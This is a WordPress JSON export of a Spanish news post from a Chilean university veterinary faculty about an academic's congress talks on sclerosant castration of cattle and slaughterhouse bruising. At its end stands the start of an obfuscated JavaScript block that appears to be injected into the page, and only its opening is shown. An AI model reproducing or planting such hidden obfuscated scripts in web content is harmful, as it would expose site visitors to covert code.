{"id":4882,"date":"2023-01-26T11:06:41","date_gmt":"2023-01-26T14:06:41","guid":{"rendered":"http:\/\/www.veterinariaudec.cl\/sitio\/?p=4882"},"modified":"2023-01-26T11:06:41","modified_gmt":"2023-01-26T14:06:41","slug":"academica-de-veterinaria-udec-destaca-mejores-metodologias-de-trabajo-en-buiatria","status":"publish","type":"post","link":"https:\/\/vet.udec.cl\/sitio\/academica-de-veterinaria-udec-destaca-mejores-metodologias-de-trabajo-en-buiatria\/2023\/4882\/","title":{"rendered":"Acad\u00e9mica de Veterinaria UdeC destaca mejores metodolog\u00edas de trabajo en buiatr\u00eda"},"content":{"rendered":"<p style=\"text-align: justify;\"><a href=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/buiatria.jpeg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft  wp-image-4883\" src=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/buiatria.jpeg\" alt=\"buiatria\" width=\"357\" height=\"476\" srcset=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/buiatria.jpeg 1200w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/buiatria-225x300.jpeg 225w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/buiatria-768x1024.jpeg 768w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/buiatria-1152x1536.jpeg 1152w\" sizes=\"auto, (max-width: 357px) 100vw, 357px\" \/><\/a>En la d\u00e9cimo cuarta versi\u00f3n del Congreso de Buiatr\u00eda que realiza la Sociedad Chilena de Buiatr\u00eda, que se desarrolla en Osorno, y donde la Facultad de Ciencias Veterinarias participa de forma activa, la acad\u00e9mica, Dra. Paula G\u00e4dicke L\u00b4Huissier, realiz\u00f3 la presentaci\u00f3n de importantes tem\u00e1ticas que despertaron el inter\u00e9s de los m\u00e9dicos veterinarios y autoridades asistentes a la actividad realizada a fines del a\u00f1o pasado.<\/p>\n<p style=\"text-align: justify;\">La docente del Departamento de Patolog\u00eda y Medicina Preventiva, quien adem\u00e1s es Directora de la Escuela Chill\u00e1n de Veterinaria UdeC, Dra. Paula G\u00e4dicke, present\u00f3 dos l\u00edneas investigativas. Una de ellas fue realizada con el \u00e1rea de Ciencias Cl\u00ednicas de la Facultad, referido a un trabajo de evaluaci\u00f3n y castraci\u00f3n en bovinos, como un esclerosante testicular.<\/p>\n<p style=\"text-align: justify;\">\u201cProbamos este producto en un trabajo que se hizo en novillos de Coyhaique, donde evaluamos el comportamiento y el crecimiento de estos novillos en relaci\u00f3n con los castrados en forma quir\u00fargica y a los novillos sin castrar. Esto fue un trabajo conjunto con la con la Unidad de Animales Mayores del hospital y lo importante es que es una metodolog\u00eda mucho m\u00e1s r\u00e1pida, ya que no implica una operaci\u00f3n. A veces se coloca un poco de anestesia seg\u00fan la situaci\u00f3n o un tranquilizante y se aplica esta soluci\u00f3n intra testicular, por lo tanto, tiene un impacto para el bienestar animal mucho menor al de una castraci\u00f3n que es una operaci\u00f3n y es m\u00e1s invasivo\u201d.<\/p>\n<p style=\"text-align: justify;\">Otra de las ventajas de esta metodolog\u00eda presentada en el Congreso desarrollado hace un tiempo, es que es significativamente m\u00e1s econ\u00f3mico de realizar. \u201cEs mucho m\u00e1s barato y r\u00e1pido de hacer y estos son trabajos que se est\u00e1n haciendo hace tiempo, lo que sucede es que se prueban distintos productos como esclerosantes que produce un tipo de fibrosis especial en el test\u00edculo para que deje de producir testosterona y con eso causa el mismo efecto de la castraci\u00f3n\u201d, precis\u00f3 la acad\u00e9mica quien puso \u00e9nfasis en que constantemente se est\u00e1n buscando productos que generen menos dolor o menos impacto en el animal.<\/p>\n<p style=\"text-align: justify;\">El segundo tema presentado fue la caracterizaci\u00f3n de contusiones en canal bovina de los mataderos de la regi\u00f3n de \u00d1uble. Este fue un trabajo con el equipo de trabajo del Departamento de Patolog\u00eda y Medicina Preventiva. \u201cAqu\u00ed nos referimos a c\u00f3mo son las contusiones que se encuentran en los animales una vez que son faenados, con el fin de determinar si es que el bovino ha tenido maltratos en el transporte o en los corrales de espera, lo que posteriormente repercute en la calidad de la carne, por esa raz\u00f3n tambi\u00e9n es importante mencionar que desde hace una d\u00e9cada aproximadamente existe una legislaci\u00f3n en Chile que norma c\u00f3mo debe realizarse el transporte de animales, tos tipos de camiones, el tiempo de traslado, entre otros aspectos.<\/p>\n<p style=\"text-align: justify;\">Cabe destacar que este congreso que se realiza anualmente tiene por finalidad dar a conocer y discutir sobre los avances en sanidad, manejo, producci\u00f3n, reproducci\u00f3n y gen\u00e9tica de los rumiantes.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const 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